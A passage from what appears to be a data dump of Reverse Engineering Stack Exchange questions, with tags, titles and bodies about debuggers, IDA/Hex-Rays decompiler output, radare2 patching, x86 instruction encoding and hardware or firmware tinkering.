+but I need names of buttons/fields to supply and there is non in that "java button's". Here you can find emulated web UI +" +"['binary-analysis', 'decompilation', 'thread']"," Title: How to force a program to run as monothread for dynamic analysis?Body: I'm reversing a program with x64dbg and ida (I switched from ghidra), hence disassembled and decompiled, I need to understand what is happening with dynamic analysis, but I have a tricky part where about 100 threads are running operations on chunks of a big file. +The program can't run in a VM, since it makes extensive use of AVX AVX2 and GPU. +How can I force the program to run this paralleled part as monothread ? In x64dbg I can suspend threads, but it's very tedious to do this by hand. Is there something I can do with the debuggers or should I change the assembly to launch at most 1 working thread (while allowing several non working threads) ? +" +['gdb']," Title: Print write and comment into .gdbinit fileBody: Is there any way how to write comment into gdb file? +b*0x1111 # break point at function +or +b*0x1111 // break point at function +or b*0x1111 ; break point at function +That return an error . +Or maybe is there a way to print for screen output like +write('hi!') or display('hi!') doesn't work +" +"['gdb', 'breakpoint']"," Title: Set gdb breakpoint by address with gdb pythonBody: into GDB python I tried gdb.Breakpoint('0xaaaa') +I got error +Function 0xaaaa is not defided . Breakpoint 5(0xaaaa) pending +and the program not break at this address. +Why is that? +" +"['dynamic-analysis', 'instrumentation', 'pintool', 'intel']"," Title: Pin DBI tool - Create executableBody: I'm starting to learn Intel's Pin framework and I can't figure out if it's possible to create an executable. +I mean, rather than creating a module and forcing people to download Pin + the module, is it possible to directly create a tool (executable)? +" +"['ida', 'ollydbg', 'static-analysis', 'dynamic-analysis', 'functions']"," Title: Is it possible to make a dynamic memory allocated .data segment to static in a file?Body: Sorry if this is a dumb question I'm new to assembly. +Basically I want to modify a function in a .exe file to return with a different data, but my issue is that the memory location of the data segment I want to return is always changing after system restart. For example currently it is .data:018C74F1 byte_18C74F1, next time it's going to differ like .data:16874F1 byte_16874F1. So due to this I am unable to change the return value to that in the file. Is there any way to workaround this? +Thank you very much for any answer given! +" +"['hardware', 'communication', 'physical-attacks']"," Title: Advice on how to attack my first reverse engineering project?Body: Suppose you've never done reverse engineering before (apart from taking apart already-broken tape recorders). Also suppose you had a machine as pictured below, with a serial-looking and another multi-pin connector on the back. Thirdly, suppose you wanted to use this console as a computer input, hoping to gain control of more than just the keyboard part (it's got a trackball, a hefty jog/cue wheel, rotary dials, blinkenlights, and a two-line character VFD display). +Lastly, suppose you don't have access to any technical specifications! No user manual, no installation guide, no service manual, not even a crappy nth-generation photocopy of the pin-outs. The company no longer exists, and the archive of their web site is of no help. Pretty much all I have is that this console runs on "90-264V" and draws "<42W". +On the plus side, I (used to) know the operation of this console very well. For instance, I can tell you it's got no real brains -- that is in a separate computer, this is merely the controller for it. The main computer costs thousands, and anyway is purpose-built and not useful as a general computing device (I don't think this runs a regular operating system "behind the scenes", at least I could recognize no tell-tale signs from the boot sequence, file system naming, or something like that). +I am confident that I could surely figure out the main power pins based on the red and black wires going to that Molex connector ... but the rest of those pins? All that functionality? I don't even know where to start. +I am a programmer by trade, I'm pretty good with my hands, including competency with a soldering iron and a multimeter. I don't have (access to) an oscilloscope, signal analyzer, or any such fanciness. +A few hints for me? Is this even doable? + + + +EDIT: By the way, these are the chassis: The Display chassis on top of the Comms chassis (neither of which I have, or plan to acquire). + +" +"['debugging', 'android', 'apk', 'bluetooth']"," Title: Debug 3rd-party apk with .so-files missing debug symbolsBody: Apologies, if this has been asked before. I am reverse engineering a chinese app that connects to a BLE device, so I can inspect how it transmits the data. Using this official guide I decompiled my apk and made it debuggable. However, after importing it and trying to debug the app I'm presented with this message: +
+To debug the APK, native libraries (*.so files) must have debug symbols. +The following libraries are missing debug symbols: +
    +
  • libBugly.so
  • +
  • libecc256.so
  • +
+
+While the app executes fine it does not stop at any breakpoints. +The guide tells me I need to attach native debug symbols to those .so-files. How can I do that since I only extracted them from the apk? +" +['android']," Title: Android app leaking dataBody: While going through the app analysis i found that when i use logcat it shows me encrypted data ..now the app is obfuscated ... When i use burp suite with my android emulator it was making a POST request to a method of an api in form of JSON Array (Encrypted)...is there any way that i can decrypt this text or find decryption key? +Also i have found that after deobfuscating i found a method named as void decode() but it doesnt reveal any information..so is there is anyway to use this method explicitly? +" +"['ida', 'idapython', 'arm', 'stack-variables', 'idc']"," Title: Calculate stack layout with Ida PythonBody: In Arm in the beginning of function +
push r4-r6,lr
+sub sp sp 0x4
+
+In the end of function +
pop r4-r6,pc
+add sp sp 0x4
+
+That mean sp is decreased by 4 register*4 bytes+4 bytes for local variables , related to caller function +How do calculate it with Ida Python? I mean calc the offset of stack between 2 function +idc.get_func_attr(ea, idc.FUNCATTR_FRSIZE) retudn only the size of local var, that didn't calculate the size of registers that push to stack +" +"['ida', 'debuggers', 'dll']"," Title: open decompiler view of current module (dll) in dynamic analysisBody: I have a program (P.exe) with several dependencies (A.dll, B.dll etc). I decompiled and studied B.dll, but at runtime, P.exe is using A.dll. The horizon is updating in ISA view-RIP, but I don't have the decompiler view. +How can I get the decompiled view of A.dll, where the horizon is ? +Using IDA pro 7.5 +" +"['gdb', 'buffer-overflow']"," Title: How can i recognize the length of this array based on the assembly instruction?Body: +In the sourcecode i can clearly see that the Array called "buf" is 32 byte long since 1 char = 1 byte +I assume that the array starts at the address [rbp-0x30] and the argv[ ] is stored in the register rsi and moved onto the stack in line 22. +Here are the questions: + +" +"['ida', 'disassembly', 'assembly', 'c', 'static-analysis']"," Title: How to simplify a function ""calling itself's reference""Body: I encounter often a function calling itself (in the pseudo code) such as: +
result = (**(__int64 (__fastcall ***)(volatile signed __int32 *))lambda)(lambda);
+
+
    +
  1. Since the disassembly is call qword ptr [rax], can't this be simplified into result = lambda(); if I translate the pseudo code in c ?
  2. +
  3. Why in the pseudo code the function is having itself as argument ?
  4. +
  5. What is happening when there is a call such as lambda + 8i64 ?
  6. +
+Here a more complete context: +
__int64 __fastcall CR_maybeParseWithLambda(_QWORD *a1, __int64 newPtr, __int64 positionOrCounter)
+{
+  volatile signed __int32 *lambda; // rdi
+  __int64 result; // rax
+
+  lambda = (volatile signed __int32 *)a1[1];
+  if ( lambda )
+  {
+    result = (unsigned int)_InterlockedExchangeAdd(lambda + 2, 0xFFFFFFFF);
+    if ( (_DWORD)result == 1 )
+    {
+      result = (**(__int64 (__fastcall ***)(volatile signed __int32 *))lambda)(lambda);
+      if ( _InterlockedExchangeAdd(lambda + 3, 0xFFFFFFFF) == 1 )
+        result = (*(__int64 (__fastcall **)(volatile signed __int32 *))(*(_QWORD *)lambda + 8i64))(lambda);
+      a1[1] = positionOrCounter;
+      *a1 = newPtr;
+    }
+    else
+    {
+      a1[1] = positionOrCounter;
+      *a1 = newPtr;
+    }
+  }
+  else
+  {
+    a1[1] = positionOrCounter;
+    *a1 = newPtr;
+  }
+  return result;
+}
+
+The disassembly: +
.text:0000000180005F70 ; __int64 __fastcall CR_maybeParseWithLambda(_QWORD *a1, __int64 newPtr, __int64 positionOrCounter)
+.text:0000000180005F70 CR_maybeParseWithLambda proc near       ; CODE XREF: sub_180005B10+10F↑p
+.text:0000000180005F70                                         ; sub_180005B10+14A↑p ...
+.text:0000000180005F70
+.text:0000000180005F70 arg_0           = qword ptr  8
+.text:0000000180005F70 arg_8           = qword ptr  10h
+.text:0000000180005F70 arg_10          = qword ptr  18h
+.text:0000000180005F70 arg_18          = qword ptr  20h
+.text:0000000180005F70
+.text:0000000180005F70                 mov     [rsp+arg_8], rbx
+.text:0000000180005F75                 mov     [rsp+arg_10], rbp
+.text:0000000180005F7A                 mov     [rsp+arg_18], rsi
+.text:0000000180005F7F                 push    rdi
+.text:0000000180005F80                 sub     rsp, 20h
+.text:0000000180005F84                 mov     rdi, [rcx+8]
+.text:0000000180005F88                 mov     rsi, r8
+.text:0000000180005F8B                 mov     rbp, rdx
+.text:0000000180005F8E                 mov     rbx, rcx
+.text:0000000180005F91                 test    rdi, rdi
+.text:0000000180005F94                 jz      short loc_180005FF3
+.text:0000000180005F96
+.text:0000000180005F96 loc_180005F96:                          ; DATA XREF: .rdata:0000000180401E74↓o
+.text:0000000180005F96                                         ; .rdata:0000000180401E84↓o ...
+.text:0000000180005F96                 mov     [rsp+28h+arg_0], r14
+.text:0000000180005F9B                 or      r14d, 0FFFFFFFFh
+.text:0000000180005F9F                 mov     eax, r14d
+.text:0000000180005FA2                 lock xadd [rdi+8], eax
+.text:0000000180005FA7                 cmp     eax, 1
+.text:0000000180005FAA                 jnz     short loc_180005FEA
+.text:0000000180005FAC                 mov     rax, [rdi]
+.text:0000000180005FAF                 mov     rcx, rdi
+.text:0000000180005FB2                 call    qword ptr [rax]
+.text:0000000180005FB4                 lock xadd [rdi+0Ch], r14d
+.text:0000000180005FBA                 cmp     r14d, 1
+.text:0000000180005FBE                 jnz     short loc_180005FC9
+.text:0000000180005FC0                 mov     rax, [rdi]
+.text:0000000180005FC3                 mov     rcx, rdi
+.text:0000000180005FC6                 call    qword ptr [rax+8]
+.text:0000000180005FC9
+.text:0000000180005FC9 loc_180005FC9:                          ; CODE XREF: CR_maybeParseWithLambda+4E↑j
+.text:0000000180005FC9                 mov     [rbx+8], rsi
+.text:0000000180005FCD                 mov     [rbx], rbp
+.text:0000000180005FD0
+.text:0000000180005FD0 loc_180005FD0:                          ; CODE XREF: CR_maybeParseWithLambda+81↓j
+.text:0000000180005FD0                 mov     r14, [rsp+28h+arg_0]
+.text:0000000180005FD5
+.text:0000000180005FD5 loc_180005FD5:                          ; CODE XREF: CR_maybeParseWithLambda+8A↓j
+.text:0000000180005FD5                                         ; DATA XREF: .pdata:0000000180483888↓o ...
+.text:0000000180005FD5                 mov     rbx, [rsp+28h+arg_8]
+.text:0000000180005FDA                 mov     rbp, [rsp+28h+arg_10]
+.text:0000000180005FDF                 mov     rsi, [rsp+28h+arg_18]
+.text:0000000180005FE4                 add     rsp, 20h
+.text:0000000180005FE8                 pop     rdi
+.text:0000000180005FE9                 retn
+
+" +"['firmware', 'flash', 'jtag', 'spi', 'risc']"," Title: Dump Headunit SoftwareBody: I am a computer engineering senior and have a few quick questions i couldn't find any hits about online. I know just enough to get myself into trouble. +Note: I have no specialized tools just a DMM and a raspberry pi. I have experience writing ARM instructions and reverse engineering software. I will most likely wait until i have better tools to attempt this. Just wondering about the approach at the moment. +Backstory: I bought a newer car to replace my 25 year old car. Long story short: the OE headunit has issues and it is very difficult to go aftermarket on this newer car. This got me thinking about what could be done with the stock headunit hardware. I have found datasheets for each IC. I see it has JTAG pins for debugging, serial for talking to a controller on the video board, and a USB connection for flashing firmware updates / uploading image files to flash memory (likely in video board). +Specifics: + +Objective: To access data so i can convert it to assembly and examine / modify it. The modifications at minimum would be to change some values for sound shaping via DSP. At maximum it would be UI elements to add a customize-EQ option. +Questions: +
    +
  1. What is the best attack vector for something like this? +
  2. +
  3. Will the Micron SPI accessible flash be where the entirety of data is stored? If not, where is most common? +
  4. +
+" +"['radare2', 'functions', 'gcc']"," Title: main function not found in GCC compiled codeBody: I'm trying to learn reverse engineering using Radare2. +For this I compiled a hello world program with GCC on Ubuntu (version: gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0). +
#include <stdio.h>
+int main() {
+        printf("Hello, world!");
+        return 0;
+}
+
+Compile it: +
gcc -w hello_world.c -o hello_world
+
+However, when I decompile it using Radare2: +
r2 hello_world
+[0x00001060]> aaa
+[Cannot find function at 0x00001060 sym. and entry0 (aa)
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[x] Analyze function calls (aac)
+[x] Analyze len bytes of instructions for references (aar)
+[x] Check for objc references
+[x] Check for vtables
+[x] Type matching analysis for all functions (aaft)
+[x] Propagate noreturn information
+[x] Use -AA or aaaa to perform additional experimental analysis.
+[0x00001060]> afl
+0x00001090    4 41   -> 34   sym.deregister_tm_clones
+0x000010c0    4 57   -> 51   sym.register_tm_clones
+[0x00001060]> 
+
+The main function does not show up. +Searching for it specifically with pdf @main also does not work. +But the program runs fine, and other information I get using Radare (iI command for example) looks normal. +Can anyone explain to me why I can't get the main function to show? +Edit: +I tried the same thing on Ubuntu 18.04 LTS and I get a different output, this time with the main function +
[0x7f1465cb4090]> afl
+0x55595d978000    2 64           sym.imp.__libc_start_main
+0x55595d9784f0    3 23           sym._init
+0x55595d978520    1 6            sym.imp.printf
+0x55595d978530    1 6            sub.__cxa_finalize_248_530
+0x55595d978540    1 43           entry0
+0x55595d978570    4 50   -> 40   sym.deregister_tm_clones
+0x55595d9785b0    4 66   -> 57   sym.register_tm_clones
+0x55595d978600    4 49           sym.__do_global_dtors_aux
+0x55595d978640    1 10           entry1.init
+0x55595d97864a    1 28           sym.main
+0x55595d978670    4 101          sym.__libc_csu_init
+0x55595d9786e0    1 2            sym.__libc_csu_fini
+0x55595d9786e4    1 9            sym._fini
+0x55595db78fe0    1 1020         reloc.__libc_start_main_224
+
+" +"['ida', 'ida-plugin']"," Title: Failed to load IDA PLW pluginBody: I am trying to install mIDA plugin for IDA. +I found a compiled PLW file here: https://github.com/sourceincite/tools/tree/master/pymsrpc/mIDA , downloaded it and saved it to C:\Program Files\IDA 7.0\plugins. +For some reason, I don't see the plugin in IDA plugins (EDIT->PLUGINS). +According to the installation instructions, I just need to copy the PLW file to the plugins directory, but it doesn't work. +Any suggestions or ideas what can I do differently? +Thanks +" +['hexrays']," Title: IDA HexRays: signed/unsigned types and 32/64 bits dont match assemblyBody: Here is assembly: +
  mov     rdi, [r13+rax*8+0]
+  sub     rdi, rcx
+  cvtsi2sd xmm0, rdi
+  movsd   qword ptr [r11+rax*8], xmm0
+  cvtsi2sd xmm0, qword ptr [r14+rax*8]
+  movsd   qword ptr [rsi+rax*8], xmm0
+  add     rax, 1
+
+And here is an output from Hexrays decompiler +
{
+      v32[v34] = (double)(LODWORD(v11[v34]) - (int)var1);
+      v33[v34] = (double)(int)v10[v34];
+      ++v34;
+}
+
+issue: +v10, v11 and var1 are declared as __int64* and __int64. Any ideas why decompiler converts them to 32 bit integers? I see those being moved to 64 bit registers. This is an ELF64 executable +" +['file-format']," Title: Need help learning to extract and modify PS1 ISO filesBody: I was wanting to make a randomizer for a playstation game, Parasite Eve 2. +I've spent a ton of time trying to figure this out just googling around and eventually wound up here. +Does anyone have an idea of a good starting point for me to just begin learning how to do that? I'm not sure how to extract files or modify them on the ISO. I'm not trying to change models or anything like that. Just swap around some internal IDs like putting a gun where a coke can is supposed to be. +Honestly, I'm not even really sure what to ask for help doing. I've been doing a lot of work in cheat engine and hex editing stuff but that only takes you so far. +I posted this same question to the reverse engineering reddit, but it mentioned posting here as well so I did. +" +['breakpoint']," Title: Debug registers (DRx) keep getting trampled when using with SetThreadContextBody: I'm trying to set hardware breakpoints from code by using Get/SetThreadContext and modifying DR0..3, DR7, but it only works if I do it repeatedly. Most of the time when I use Get after having used Set before, I see the values completely trampled (sometimes to 0s, sometimes to bogus numbers which are clearly not even addresses). Get's return value is always 1. Sometimes it sticks for a while and the breakpoint hits. What could cause is and is there a way to track it? I tried setting a code breakpoint in SetThreadContext in ntdll, but it's only being called from my code. It happens with and without VS attached. I must add it's a game engine project, so it might be that some 3rd party lib does that. +The config is Ryzen 3900, Windows 10 20H2, Windows SDK 10.0.14393, VS 2017 +" +"['radare2', 'elf']"," Title: Can't modify string in radare2 (.rodata section)Body: I was following the response to this question to change the string of an elf executable. No matter how many times I try, I just can't modify the string. I notice that probably the issue lies in the permissions of rodata section. +
[0x00001060]> iS
+[Sections]
+
+nth paddr        size vaddr       vsize perm name
+―――――――――――――――――――――――――――――――――――――――――――――――――
+...
+16  0x00001060  0x185 0x00001060  0x185 -r-x .text
+17  0x000011e8    0xd 0x000011e8    0xd -r-x .fini
+18  0x00002000   0x12 0x00002000   0x12 -r-- .rodata
+...
+
+Is there a way to write in this section? or is there another way to modify strings? +update +this is the program +
#include <stdio.h>
+int main()
+{
+   printf("Hello, World!\n");
+   return 0;
+}
+
+I want to change "Hello World!\n", this is how I am changing the string in radare2 +
$ r2 -w modified_helloworld
+[0x00001060]> iz
+[Strings]
+nth paddr      vaddr      len size section type  string
+―――――――――――――――――――――――――――――――――――――――――――――――――――――――
+0   0x00002004 0x00002004 13  14   .rodata ascii Hello, World!
+
+[0x00001060]> w Good, Bye!!!! @0x00002004
+[0x00001060]> iz
+[Strings]
+nth paddr      vaddr      len size section type  string
+―――――――――――――――――――――――――――――――――――――――――――――――――――――――
+0   0x00002004 0x00002004 13  14   .rodata ascii Hello, World!
+
+[0x00001060]>
+
+As can be seen, I'm using the w command but when I check the string again, there are no changes. +Thanks in advance. +" +"['ida', 'disassembly']"," Title: IDA error: ""write access to const memory has been detected""Body: I'am a newbie of IDA and after disassably a file I get this error on some subroutine: +"write access to const memory has been detected" +
// write access to const memory has been detected, the output may be wrong!
+_BYTE *__thiscall sub_49D020(_BYTE *this, int a2, int a3, int a4, int a5)
+{
+  _BYTE *v5; // esi
+
+  v5 = this;
+  sub_45C210(a2, a3, a4, a5);
+  *(_DWORD *)v5 = &off_4DE648;
+  ++dword_5BB8D4;
+  v5[68] = 1;
+  if ( dword_5BBDD0 )
+  {
+    if ( dword_5BBD70 )
+      sub_41CBE0();
+    sub_485810(*(_DWORD *)(dword_5BBDD0 + 28));
+  }
+  return v5;
+}
+
+
+
+
+.text:0049D020 ; =============== S U B R O U T I N E =======================================
+.text:0049D020
+.text:0049D020
+.text:0049D020 sub_49D020      proc near               ; CODE XREF: sub_412400+35↑p
+.text:0049D020                                         ; sub_42A080+34↑p ...
+.text:0049D020
+.text:0049D020 var_10          = dword ptr -10h
+.text:0049D020 var_C           = dword ptr -0Ch
+.text:0049D020 var_4           = dword ptr -4
+.text:0049D020 arg_0           = dword ptr  4
+.text:0049D020 arg_4           = dword ptr  8
+.text:0049D020 arg_8           = dword ptr  0Ch
+.text:0049D020 arg_C           = dword ptr  10h
+.text:0049D020
+.text:0049D020 ; FUNCTION CHUNK AT .text:004D9650 SIZE 00000008 BYTES
+.text:0049D020
+.text:0049D020                 push    0FFFFFFFFh
+.text:0049D022                 push    offset SEH_49D020
+.text:0049D027                 mov     eax, large fs:0
+.text:0049D02D                 push    eax
+.text:0049D02E                 mov     large fs:0, esp
+.text:0049D035                 push    ecx
+.text:0049D036                 mov     eax, [esp+10h+arg_C]
+.text:0049D03A                 mov     edx, [esp+10h+arg_4]
+.text:0049D03E                 push    esi
+.text:0049D03F                 mov     esi, ecx
+.text:0049D041                 mov     ecx, [esp+14h+arg_8]
+.text:0049D045                 push    eax
+.text:0049D046                 mov     eax, [esp+18h+arg_0]
+.text:0049D04A                 push    ecx
+.text:0049D04B                 push    edx
+.text:0049D04C                 push    eax
+.text:0049D04D                 mov     ecx, esi
+.text:0049D04F                 mov     [esp+24h+var_10], esi
+.text:0049D053                 call    sub_45C210
+.text:0049D058                 mov     dword ptr [esi], offset off_4DE648
+.text:0049D05E                 mov     ecx, dword_5BB8D4
+.text:0049D064                 inc     ecx
+.text:0049D065                 mov     [esp+14h+var_4], 0
+.text:0049D06D                 mov     dword_5BB8D4, ecx
+.text:0049D073                 mov     byte ptr [esi+44h], 1
+.text:0049D077                 mov     eax, dword_5BBDD0
+.text:0049D07C                 test    eax, eax
+.text:0049D07E                 jz      short loc_49D09D
+.text:0049D080                 mov     ecx, dword_5BBD70
+.text:0049D086                 test    ecx, ecx
+.text:0049D088                 jz      short loc_49D08F
+.text:0049D08A                 call    sub_41CBE0
+.text:0049D08F
+.text:0049D08F loc_49D08F:                             ; CODE XREF: sub_49D020+68↑j
+.text:0049D08F                 mov     ecx, dword_5BBDD0
+.text:0049D095                 mov     ecx, [ecx+1Ch]
+.text:0049D098                 call    sub_485810
+.text:0049D09D
+.text:0049D09D loc_49D09D:                             ; CODE XREF: sub_49D020+5E↑j
+.text:0049D09D                 mov     ecx, [esp+14h+var_C]
+.text:0049D0A1                 mov     eax, esi
+.text:0049D0A3                 mov     large fs:0, ecx
+.text:0049D0AA                 pop     esi
+.text:0049D0AB                 add     esp, 10h
+.text:0049D0AE                 retn    10h
+.text:0049D0AE sub_49D020      endp
+
+Can you please help me to solve this problem ? +Thanks ! +" +"['assembly', 'x86', 'binary']"," Title: How to write these 4 example x86 assembly instructions in opcodes, according to the Intel docs?Body: Okay so I have been studying Chapter 2 of Volume 2 of the Intel Manuals. +I have as best an understanding as I can get of the ModR/M byte, the REX byte, the SIB byte, and the general instruction encoding (by just reading with no practice or practical tinkering yet). Now, from my understanding, the "instruction" encoding is different from the whole "call" encoding (as I would call it): that is, the instruction plus the operands. That took me days to realize, and I'm still not certain of it. +So I am going to try to apply my knowledge now on these 4 types of calls. +
opcode              instruction           operand encoding
+04 ib               ADD AL, imm8          I
+REX + 80 /0 ib      ADD r/m8*, imm8       MI
+00 /r               ADD r/m8, r8          MR
+REX.W + 03 /r       ADD r64, r/m64        RM
+
+First some background: + +Looking at the "Instruction Operand Encoding" table, I see this: +
operand encoding    operand 1             operand 2
+RM                  ModRM:reg (r, w)      ModRM:r/m (r)
+MR                  ModRM:r/m (r, w)      ModRM:reg (r)
+MI                  ModRM:r/m (r, w)      imm8
+I                   AL/AX/EAX/RAX         imm8
+
+ +So I see those "operand encoding" strings like MR. That gives me 00 /r from the example instructions. So we have two hex values, 00, and then there's the /r. I have re-read it's meaning a dozen times but still don't know what it means. +I have thought a lot about all of the above parts, but it just feels like something is missing. I can't piece it together to apply this knowledge yet. +So already I am lost. I just studied the ModRM, reg, and r/m stuff, but I don't know what they mean here. Going back and rereading. +The ModR/M byte is an addressing-form specifier byte. It is divided into 3 parts or "fields". +
+
    +
  • The mod field combines with the r/m field to form 32 possible values: eight registers and 24 addressing modes.
  • +
  • The reg/opcode field specifies either a register number or three more bits of opcode information. The purpose of the reg/opcode field is specified in the primary opcode.
  • +
  • The r/m field can specify a register as an operand or it can be combined with the mod field to encode an addressing mode.
  • +
+
+We don't have to deal with the SIB codes in this question. +That doesn't really give me any actionable information. Then there are the rich tables of every value the ModR/M byte takes up in tables 2-1 through 2-3. I am not really sure how the columns and rows line up and what they mean yet. +So, I don't know how to write down those 4 examples of instructions into opcodes, even if I were to select registers or memory addresses for them at random. +Skipping to section 3.1.1.1, I have studied all of the keywords there too. +
+
    +
  • REX.W — Indicates the use of a REX prefix that affects operand size or instruction semantics.
  • +
  • /digit — A digit between 0 and 7 indicates that the ModR/M byte of the instruction uses only the r/m (register or memory) operand. The reg field contains the digit that provides an extension to the instruction's opcode.
  • +
  • /r — Indicates that the ModR/M byte of the instruction contains a register operand and an r/m operand.
  • +
+
+Those 3 are relevant for the instructions above. +Then there is "Table 3-1. Register Codes", which I think shows you something about what the decimal/binary value is of each register, which is useful somewhere in this equation. +That's pretty much it on what I need to know. Everything else in this book seems to be the individual instruction details, or the advanced instruction info which I don't care about yet (like VEX). +But I've read this stuff about 5 times through so far and I still don't have a solid understanding of how to write 1 instruction call yet, for the goal of writing a machine code generator without using gcc/clang/llvm/etc.. +I see this image too, but don't know what to do with it entirely yet. +
+ +
+How do you write these 4 example x86 assembly instructions in opcodes, according to the Intel docs? How do I interpret the "operand encoding" values in the table above? Say we select some random registers or slots of memory that fit the instruction type constraints above, then how do you figure out how to write it down into hex code using the Intel Manuals? + +" +"['networking', 'websites', 'macos']"," Title: Inbound network queries not appearing in developer tools of browserBody: When trying to understand the behavior of web apps, I find myself stumbling against the fact that some network messages do not appear on the network tab of the web developer tool of the browser. For example, on the web app of whatsapp (https://web.whatsapp.com/) sending or receiving a message will not leave a line on the network tab. +Here's what I tried to do: +
    +
  1. Try other browsers. I tried firefox, chrome, safari, they all show the same issue
  2. +
  3. Try network sniffing tools. I got lost because there are so many connections I didn't know which one to monitor
  4. +
  5. Try to read through the html code and see which javascript code was creating a connection and receving info. I got lost as well because when reading html and javascript, there are so many lines of code, undocumented, that my brain can not process this in a reasonable amount of time.
  6. +
  7. Noticed there was a service worker. I thought maybe the requests back and forth to the server would be made by the service worker. It did not appear to be the case, and it seemed anyway that service worker requests should appear in the network tab.
  8. +
+Any explanation or pointer much appreciated. +" +['hardware']," Title: Identify a chip that's very hot on PCBBody: Does anyone recognize this chip by chance? +On the chip it is written: +DEYA +SB86 +See picture: + +I can't find anything on the web... +Any help will be appreciated! +" +"['binary-analysis', 'functions', 'function-hooking', 'game-hacking', 'virtual-functions']"," Title: finding a not-so-straightforward game's functionBody: I am working on Mad Max game [ APEX engine ] +I do my best to explain the situation. +so my target executes function like this: +there are commands like " call [eax+XX] " or " call RX " and these execute all functions. +I was able to find some functions by referenced string but this particular function, I just can't, any name I guess ends up wrong. +I want to unlock upgrades. I tried Cheat Engine's Ultimap and found nothing ( except the saving function which saves when a different addon/upgrade is selected ). it seems the checking function is run constantly maybe with different arguments. +so as the calling routine is like this I cant trace back. it's so confusing. there was another game by this engine ( Just Cause 4 ) where I could trace back a string like " X is locked" and reach the deciding code but this one is just driving me crazy. +I think the game uses Vtable but can't find it (i think even if I do, I need leaked SDK and symbols to recognize functions) I tried the IDA pro 7.5+ plugins with no luck. +there are also strings like " bla-bla\bla-bla\XXX_unlock_condition.gsr" and i don't know if they are packed within exe (denuvo protected) or packed within .arc and .tab files. and if it's possible to dump them. +" +"['assembly', 'debugging', 'x86', 'exception', 'machine-code']"," Title: How to test and debug x86 Assembly exceptions in NASM?Body: I have seen all the exception "IDs" in the Intel Manuals, and just came across sandpile's exception guide, which actually shows some hexcodes. For example, "divide by zero error": +
00h         #DE
+
+Questions: +
    +
  1. What are these IDs for, just for use in the manuals for easy reference?
  2. +
  3. Where do these hexcodes (or machine codes) pop up in running code?
  4. +
  5. How do you test for these in your code?
  6. +
  7. How do you handle them generally?
  8. +
+What would be an example to demonstrate their usage, essentially, like this divide by zero error? I am looking for something I could run with NASM, and a general approach to how to debug it if possible. +From my reading of the table, there are two "type types": rIP and B/C. A B is a "benign" error, meaning it can't cause a "double fault", an error in an error handler. A C is a "contributory" error, which can cause a double fault (error in an error handler). There are 3 types of rIP (what does that stand for?): trap, fault, and abort. Divide by zero is a fault rIP type, so how do you generate this error, and how do you handle it, in some example x86 assembly code? +" +"['assembly', 'x86', 'machine-code', 'vm']"," Title: How do you build a virtual machine to interpret machine code?Body: How does the parser parse the machine code? Does it go byte by byte? How does it know how many bytes to read when parsing an instruction? Does it have some sorts of tables of bytes to translate the machine code via table directly into assembly like AST? +I am starting to understand how to generate the machine code from Assembly, but how do you go from machine code to assembly essentially, from machine code to an AST used by a VM? What are the general principles? +Are there any open source projects that demonstrate this for x86? I have seem many "x86 vms" on GitHub which interpret assembly instructions, but none that interpret machine code directly. I guess this would be some sort of reverse engineering project (maybe this is one?), but not sure where to look. Even something which takes the machine code and converts it to assembly string would be valuable to see, something similar to objdump, but ideally in JavaScript/Node.js :) +This looks like a good start, is this standard? +
void
+xed_instruction_length_decode(xed_decoded_inst_t* ild)
+{
+    prefix_scanner(ild);
+#if defined(XED_AVX) 
+    if (xed3_operand_get_out_of_bytes(ild)) 
+        return;
+    vex_scanner(ild);
+#endif
+#if defined(XED_SUPPORTS_AVX512) || defined(XED_SUPPORTS_KNC)
+
+    // evex scanner assumes it can read bytes so we must check for limit first.
+    if (xed3_operand_get_out_of_bytes(ild))
+        return;
+
+    // if we got a vex prefix (which also sucks down the opcode),
+    // then we do not need to scan for evex prefixes.
+    if (!xed3_operand_get_vexvalid(ild) && chip_supports_avx512(ild)) 
+        evex_scanner(ild);
+#endif
+
+    if (xed3_operand_get_out_of_bytes(ild))
+        return;
+#if defined(XED_AVX)
+    // vex/xop prefixes also eat the vex/xop opcode
+    if (!xed3_operand_get_vexvalid(ild) &&
+        !xed3_operand_get_error(ild)     )
+        opcode_scanner(ild);
+#else
+    opcode_scanner(ild);
+#endif
+    modrm_scanner(ild);
+    sib_scanner(ild);
+    disp_scanner(ild);
+    imm_scanner(ild);
+}
+
+It looks like a lot of processing to figure out the instructions. +But alas, some of the functions source code are missing, like xed3_operand_get_out_of_bytes... +" +"['ida', 'hexrays', 'decompiler']"," Title: How to stop Hex Rays optimizations?Body: I know it's not a bug, but a feature. Hex Rays found that there's a variable which is set to specific value, thus there's no need to display the branches where the code will never be run, so it warns me about the optimizations: +
conditional instruction was optimized away because of '%var_8.1==0'
+
+Is there any way to make it show all the code branches and stop optimizing it? +" +"['ida', 'disassembly', 'assembly', 'debugging', 'x86']"," Title: Why eax is assigned to 'variable looked' like addressesBody:
#include <stdio.h>
+int main() {
+
+    int number1, number2, sum;
+
+    printf("Enter two integers: ");
+    scanf("%d %d", &number1, &number2);
+
+    
+    sum = number1 + number2;
+
+    
+    printf("%d + %d = %d", number1, number2, sum);
+    return 0;
+}
+
+So this is my simple C code and it has only three variables only but when I'm debugging it in disassembly the value of eax is also copying in other 'variable looked' like r/m32 addresses, I can't figure out why it is doing this. It can't be compiler generated code because I've switched off those options. + +Here's the starting disassembly see the value of eax is going to variables (sum, number2, number1) but why it is going to [ebp-18h] and so on. Also these [ebp-18h] is not used in any other place in disassembly. It's just shown here. +And other question is why 0CCCCCCCCC is moved into eax. +" +['javascript']," Title: Is there a tool to compare javascript files for differences, while also ignoring local identifier changes?Body: When trying to compare the difference between two minified javascript files with random identifier names, about 95% of the changes are identifiers being renamed. I would like to use a tool that ignores these renames and just shows actual code addition and deletion. +Such a tool would be very useful to easily see what an app has changed in an update. +" +"['ida', 'decompilation', 'hexrays']"," Title: Specifying the register value which is constant for all the functionsBody: In the firmwares I met the situation when some register value is set at startup, and then it's implicitly used as a base address to access the variables. +e.g. register r13 is set to 0x40000000 which is address of RAM. And then all over the code the variables are being accessed as offset to r13. Hex Rays doesn't like it at all, and generates lots of red variables for which VALUE MAY BE UNDEFINED +Is there any way to set the register value, so that Hex Rays uses it in every function? +EDIT: Actually IDA does it in some cases. PowerPC processor module seems to know about __init_registers() function when working with ELF files and uses r13 value to calculate the global variables offsets relative to r13. + +And I've learned that it actually creates User defined offsets in such cases. + +But still don't know how it's implemented to know r13 value. +" +['python']," Title: Need 